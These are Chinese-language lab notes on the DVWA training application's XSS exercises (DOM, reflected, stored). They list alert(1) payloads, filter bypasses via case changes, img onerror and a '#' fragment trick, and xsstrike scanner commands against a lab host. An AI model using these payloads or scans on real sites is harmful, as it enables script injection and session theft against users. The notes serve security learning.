引号内注入: <select name="default"> <option value="English">English</option> ^^^^^^^ <option value="" disabled="disabled">----</option> <option value='English'>English</option> <option value='French'>French</option> ... </select> 引号外注入: <select name="default"> <option value="English">English</option> ^^^^^^^ <option value="" disabled="disabled">----</option> <option value='English'>English</option> <option value='French'>French</option> ... </select>
xss-dom
low
引号内注入:"> <script>alert(1)</script> 引号外注入:<script>alert(1)</script>
medium
过滤了$_GET['default']过滤了<script 引号内注入: #"> <script>alert(1)</script> 此时的url为:/dvwa/vulnerabilities/xss_d/?default=#">%20<script>alert(1)</script> 后端$_GET['default']获取的值为空,而前端获取的default参数为#">%20<script>alert(1)</script> 这是因为$_GET['default']会自动选择#前的内容,而前端是通过js代码经过url字符截断获取的参数 引号外注入: </select><img src = 1 onerror = alert(1)> // 注:img标签必须出现在select标签之外 tips: 1.<select></select>标签内部出现img图片标签将不做任何解析,也就是说<img src = 1 onerror = alert(1)>不能出现在<select>内部,否则浏览器直接忽略<select>内的img标签 2.<option>标签不会对onmousemove或onclick等函数进行解析,所以此情况下引号内注入οnmοusemοve='alert(1)'将没有任何用处,如: <option value="" οnclick='alert(1)'>此情况onclick无论如何都触发不了,可能option标签天生就不支持这样的功能,而select <select value="" οnclick='alert(1)'>此情况可以触发onclick,所以select支持这种功能
high
对$_GET['default']进行限制,其只能是"French"、"English"、"German"、"Spanish"这几个字符 还是之前说的前端输出的数据,跟后端判断的数据不统一,例如输入default=French#blablabla 后端获取为:French 前端输出为:French#blablabla 引号内注入: French#"> <script>alert(1)</script> 引号外注入: English#</select><img src = 1 onerror = alert(1)>
impossible
前端没有调用decodeURL函数导致输出的内容是url编码的字符串
源码功能解析
用户发送get请求:http://www.oswe.com/dvwa/vulnerabilities/xss_d/?default=English 后端通过$_GET['default']获取get请求值 而前端通过js代码字符串截断url获取get请求值 也就是说前后端获取的get请求值不是同一个来源,不是同一个变量,是不统一的, 当default=English#blablabla 时 后端获取的值:English# 前端获取的值:English#blablabla 也就是说后端判断的值没有携带#后面内容,这是$_GET['']变量的特性 而前端是通过url字符串截断获取的English#blablabla
xss-reflected
- 只有引号外闭合
low
<script>alert(1)</script>
medium
替换'<script>'为空 <ScRipt>alert(1)</script> <img src=1 οnerrοr='alert(1)'>
high
script被过滤 <img src=1 οnerrοr='alert(1)'>
impossible
$name = htmlspecialchars( $_GET[ 'name' ] ); 实体化输出
xss-stored
low
Message: <script>alert(1)</script>
medium
message前端内容被实体化 name替换'<script>'为空 html修改一下name的input容量 name: <sCRiPt>alert(1)</script>
high
message前端内容被实体化 name下script被过滤 html修改一下name的input容量 name: <img src=1 οnerrοr='alert(1)'>
impossible
$message = htmlspecialchars( $message ); $name = htmlspecialchars( $name ); 前端内容实体化,不被浏览器解析
xss工具:xsstrike
能扫xss-reflected的low、medium、high难度 其他系列都扫不出来 python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=low" --proxy python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=medium" --proxy python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=high" --proxy 此工具如果想要使用代理,执行以下操作: 1.export HTTP_PROXY=http:127.0.0.1:8080/ # 指定代理地址 2.--proxy参数开启代理